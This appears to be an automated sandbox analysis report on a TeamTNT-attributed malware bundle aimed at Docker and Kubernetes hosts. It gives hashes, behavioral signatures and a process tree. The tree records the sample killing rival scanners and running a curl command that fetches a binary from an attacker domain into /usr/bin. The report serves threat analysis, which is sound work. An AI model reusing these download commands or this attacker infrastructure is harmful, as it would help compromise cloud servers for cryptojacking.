Overview
overview
10Static
static
10SugarLogic...AWS.sh
ubuntu-18.04-amd64
6SugarLogic...AWS.sh
debian-9-armhf
6SugarLogic...AWS.sh
debian-9-mips
6SugarLogic...AWS.sh
debian-9-mipsel
6SugarLogic...nge.sh
ubuntu-18.04-amd64
6SugarLogic...nge.sh
debian-9-armhf
6SugarLogic...nge.sh
debian-9-mips
6SugarLogic...nge.sh
debian-9-mipsel
6SugarLogic...tup.sh
windows7-x64
3SugarLogic...tup.sh
windows10-2004-x64
3SugarLogic...bot.sh
windows7-x64
3SugarLogic...bot.sh
windows10-2004-x64
3SugarLogic...d_2.sh
ubuntu-18.04-amd64
7SugarLogic...d_2.sh
debian-9-armhf
7SugarLogic...d_2.sh
debian-9-mips
7SugarLogic...d_2.sh
debian-9-mipsel
7SugarLogic...oit.sh
windows7-x64
3SugarLogic...oit.sh
windows10-2004-x64
3SugarLogic...arch64
ubuntu-18.04-amd64
SugarLogic...arch64
debian-9-armhf
SugarLogic...arch64
debian-9-mips
SugarLogic...arch64
debian-9-mipsel
SugarLogic...x86_64
ubuntu-22.04-amd64
10SugarLogic.../bot_u
ubuntu-22.04-amd64
10SugarLogic...en2.sh
ubuntu-18.04-amd64
3SugarLogic...en2.sh
debian-9-armhf
4SugarLogic...en2.sh
debian-9-mips
3SugarLogic...en2.sh
debian-9-mipsel
3SugarLogic...cap.so
ubuntu-22.04-amd64
1SugarLogic.../mo.sh
ubuntu-18.04-amd64
7SugarLogic.../mo.sh
debian-9-armhf
7SugarLogic.../mo.sh
debian-9-mips
10Analysis
-
max time kernel
148s -
max time network
16s -
platform
debian-9_armhf -
resource
debian9-armhf-20240729-en -
resource tags
arch:armhfimage:debian9-armhf-20240729-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem -
submitted
29-12-2024 23:10
Behavioral task
behavioral1
Sample
SugarLogic_#teamtnt_by_@r3dbU7z/AWS.sh
Resource
ubuntu1804-amd64-20240611-en
ubuntu-18.04-amd64
Behavioral task
behavioral2
Sample
SugarLogic_#teamtnt_by_@r3dbU7z/AWS.sh
Resource
debian9-armhf-20240611-en
debian-9-armhf
Behavioral task
behavioral3
Sample
SugarLogic_#teamtnt_by_@r3dbU7z/AWS.sh
Resource
debian9-mipsbe-20240418-en
debian-9-mips
Behavioral task
behavioral4
Sample
SugarLogic_#teamtnt_by_@r3dbU7z/AWS.sh
Resource
debian9-mipsel-20240729-en
debian-9-mipsel
Behavioral task
behavioral5
Sample
SugarLogic_#teamtnt_by_@r3dbU7z/Docker-API.IP.Range.sh
Resource
ubuntu1804-amd64-20240611-en
ubuntu-18.04-amd64
Behavioral task
behavioral6
Sample
SugarLogic_#teamtnt_by_@r3dbU7z/Docker-API.IP.Range.sh
Resource
debian9-armhf-20240729-en
debian-9-armhf
Behavioral task
behavioral7
Sample
SugarLogic_#teamtnt_by_@r3dbU7z/Docker-API.IP.Range.sh
Resource
debian9-mipsbe-20240611-en
debian-9-mips
Behavioral task
behavioral8
Sample
SugarLogic_#teamtnt_by_@r3dbU7z/Docker-API.IP.Range.sh
Resource
debian9-mipsel-20240611-en
debian-9-mipsel
Behavioral task
behavioral9
Sample
SugarLogic_#teamtnt_by_@r3dbU7z/Kubernetes.XMR.tmp.Setup.sh
Resource
win7-20240903-en
windows7-x64
Behavioral task
behavioral10
Sample
SugarLogic_#teamtnt_by_@r3dbU7z/Kubernetes.XMR.tmp.Setup.sh
Resource
win10v2004-20241007-en
windows10-2004-x64
Behavioral task
behavioral11
Sample
SugarLogic_#teamtnt_by_@r3dbU7z/Kubernetes.put.the.bot.sh
Resource
win7-20240903-en
windows7-x64
Behavioral task
behavioral12
Sample
SugarLogic_#teamtnt_by_@r3dbU7z/Kubernetes.put.the.bot.sh
Resource
win10v2004-20241007-en
windows10-2004-x64
Behavioral task
behavioral13
Sample
SugarLogic_#teamtnt_by_@r3dbU7z/Kubernetes_root_PayLoad_2.sh
Resource
ubuntu1804-amd64-20240508-en
ubuntu-18.04-amd64
Behavioral task
behavioral14
Sample
SugarLogic_#teamtnt_by_@r3dbU7z/Kubernetes_root_PayLoad_2.sh
Resource
debian9-armhf-20240611-en
debian-9-armhf
Behavioral task
behavioral15
Sample
SugarLogic_#teamtnt_by_@r3dbU7z/Kubernetes_root_PayLoad_2.sh
Resource
debian9-mipsbe-20240611-en
debian-9-mips
Behavioral task
behavioral16
Sample
SugarLogic_#teamtnt_by_@r3dbU7z/Kubernetes_root_PayLoad_2.sh
Resource
debian9-mipsel-20240729-en
debian-9-mipsel
Behavioral task
behavioral17
Sample
SugarLogic_#teamtnt_by_@r3dbU7z/MountSshExploit.sh
Resource
win7-20240903-en
windows7-x64
Behavioral task
behavioral18
Sample
SugarLogic_#teamtnt_by_@r3dbU7z/MountSshExploit.sh
Resource
win10v2004-20241007-en
windows10-2004-x64
Behavioral task
behavioral19
Sample
SugarLogic_#teamtnt_by_@r3dbU7z/TNTb/aarch64
Resource
ubuntu1804-amd64-20240508-en
ubuntu-18.04-amd64
Behavioral task
behavioral20
Sample
SugarLogic_#teamtnt_by_@r3dbU7z/TNTb/aarch64
Resource
debian9-armhf-20240611-en
debian-9-armhf
Behavioral task
behavioral21
Sample
SugarLogic_#teamtnt_by_@r3dbU7z/TNTb/aarch64
Resource
debian9-mipsbe-20240611-en
debian-9-mips
Behavioral task
behavioral22
Sample
SugarLogic_#teamtnt_by_@r3dbU7z/TNTb/aarch64
Resource
debian9-mipsel-20240611-en
debian-9-mipsel
Behavioral task
behavioral23
Sample
SugarLogic_#teamtnt_by_@r3dbU7z/TNTb/x86_64
Resource
ubuntu2204-amd64-20240522.1-en
ubuntu-22.04-amd64
Behavioral task
behavioral24
Sample
SugarLogic_#teamtnt_by_@r3dbU7z/bot_u
Resource
ubuntu2204-amd64-20240611-en
ubuntu-22.04-amd64
Behavioral task
behavioral25
Sample
SugarLogic_#teamtnt_by_@r3dbU7z/kuben2.sh
Resource
ubuntu1804-amd64-20240729-en
ubuntu-18.04-amd64
Behavioral task
behavioral26
Sample
SugarLogic_#teamtnt_by_@r3dbU7z/kuben2.sh
Resource
debian9-armhf-20240611-en
debian-9-armhf
Behavioral task
behavioral27
Sample
SugarLogic_#teamtnt_by_@r3dbU7z/kuben2.sh
Resource
debian9-mipsbe-20240611-en
debian-9-mips
Behavioral task
behavioral28
Sample
SugarLogic_#teamtnt_by_@r3dbU7z/kuben2.sh
Resource
debian9-mipsel-20240418-en
debian-9-mipsel
Behavioral task
behavioral29
Sample
SugarLogic_#teamtnt_by_@r3dbU7z/libpcap.so
Resource
ubuntu2204-amd64-20240729-en
ubuntu-22.04-amd64
Behavioral task
behavioral30
Sample
SugarLogic_#teamtnt_by_@r3dbU7z/mo.sh
Resource
ubuntu1804-amd64-20240611-en
ubuntu-18.04-amd64
Behavioral task
behavioral31
Sample
SugarLogic_#teamtnt_by_@r3dbU7z/mo.sh
Resource
debian9-armhf-20240611-en
debian-9-armhf
Behavioral task
behavioral32
Sample
SugarLogic_#teamtnt_by_@r3dbU7z/mo.sh
Resource
debian9-mipsbe-20240611-en
debian-9-mips
General
-
Target
SugarLogic_#teamtnt_by_@r3dbU7z/Docker-API.IP.Range.sh
-
Size
21KB
-
MD5
d0295e4ffb268b65f19e7e315f6ec5c6
-
SHA1
0164ad6ed68acd956395202fe8fd6561fe10e62c
-
SHA256
0dab485f5eacbbaa62c2dd5385a67becf2c352f2ebedd2b5184ab4fba89d8f19
-
SHA512
5795640f96e8f5514cce674e46fc2cac5c9d91c53ec7bc45e42ecb315a13851aabd83a9ed11702d7112179ea74f2f6b27febc77204aa6937409e873ec920b33a
-
SSDEEP
192:9Uml6l+q7osa5zmPXArSKUpVkzzfbmpWMzAH53p1RMFKodJZIYIHAFDMXT:mtHssOTmpWCAHvCdYHAFDkT
Malware Config
Signatures
-
Enumerates running processes
Discovers information about currently running processes on the system
-
Checks CPU configuration 1 TTPs 1 IoCs
Checks CPU information which indicate if the system is a virtual machine.
description ioc Process File opened for reading /proc/cpuinfo curl -
Reads CPU attributes 1 TTPs 3 IoCs
description ioc Process File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill -
description ioc Process File opened for reading /proc/695/cmdline pkill File opened for reading /proc/17/cmdline pkill File opened for reading /proc/214/cmdline pkill File opened for reading /proc/280/status pkill File opened for reading /proc/151/cmdline pkill File opened for reading /proc/139/cmdline pkill File opened for reading /proc/690/cmdline pkill File opened for reading /proc/9/status pkill File opened for reading /proc/13/status pkill File opened for reading /proc/7/status pkill File opened for reading /proc/24/status pkill File opened for reading /proc/701/status pkill File opened for reading /proc/695/cmdline pkill File opened for reading /proc/264/status pkill File opened for reading /proc/19/cmdline pkill File opened for reading /proc/5/cmdline pkill File opened for reading /proc/280/cmdline pkill File opened for reading /proc/214/status pkill File opened for reading /proc/9/status pkill File opened for reading /proc/29/status pkill File opened for reading /proc/693/status pkill File opened for reading /proc/279/cmdline pkill File opened for reading /proc/23/status pkill File opened for reading /proc/28/status pkill File opened for reading /proc/311/cmdline pkill File opened for reading /proc/42/status pkill File opened for reading /proc/42/cmdline pkill File opened for reading /proc/43/status pkill File opened for reading /proc/588/status pkill File opened for reading /proc/16/cmdline pkill File opened for reading /proc/587/cmdline pkill File opened for reading /proc/11/status pkill File opened for reading /proc/638/status pkill File opened for reading /proc/696/status pkill File opened for reading /proc/14/status pkill File opened for reading /proc/1/cmdline pkill File opened for reading /proc/10/status pkill File opened for reading /proc/587/status pkill File opened for reading /proc/8/status pkill File opened for reading /proc/43/status pkill File opened for reading /proc/43/cmdline pkill File opened for reading /proc/26/status pkill File opened for reading /proc/98/cmdline pkill File opened for reading /proc/692/status pkill File opened for reading /proc/266/cmdline pkill File opened for reading /proc/264/cmdline pkill File opened for reading /proc/10/cmdline pkill File opened for reading /proc/266/status pkill File opened for reading /proc/311/status pkill File opened for reading /proc/638/cmdline pkill File opened for reading /proc/666/status pkill File opened for reading /proc/137/cmdline pkill File opened for reading /proc/168/cmdline pkill File opened for reading /proc/588/cmdline pkill File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/14/cmdline pkill File opened for reading /proc/280/status pkill File opened for reading /proc/262/cmdline pkill File opened for reading /proc/12/status pkill File opened for reading /proc/27/cmdline pkill File opened for reading /proc/107/status pkill File opened for reading /proc/140/cmdline pkill File opened for reading /proc/664/cmdline pkill File opened for reading /proc/666/cmdline pkill
Processes
-
/tmp/SugarLogic_#teamtnt_by_@r3dbU7z/Docker-API.IP.Range.sh"/tmp/SugarLogic_#teamtnt_by_@r3dbU7z/Docker-API.IP.Range.sh"1⤵PID:695
-
/bin/mkdirmkdir -p /etc/.../.docker-api.ip.range.lock/2⤵PID:700
-
-
/usr/bin/pkillpkill masscan2⤵
- Reads CPU attributes
- Reads runtime system information
PID:702
-
-
/usr/bin/pkillpkill pnscan2⤵
- Reads CPU attributes
- Reads runtime system information
PID:704
-
-
/usr/bin/pkillpkill zgrab2⤵
- Reads CPU attributes
- Reads runtime system information
PID:706
-
-
/usr/bin/curlcurl -sLk http://dl1.chimaera.cc:443/sugarcrm/themes/default/images/SugarLogic/.../jq/x86_64 -o /usr/bin/jq2⤵
- Checks CPU configuration
- Reads runtime system information
PID:711
-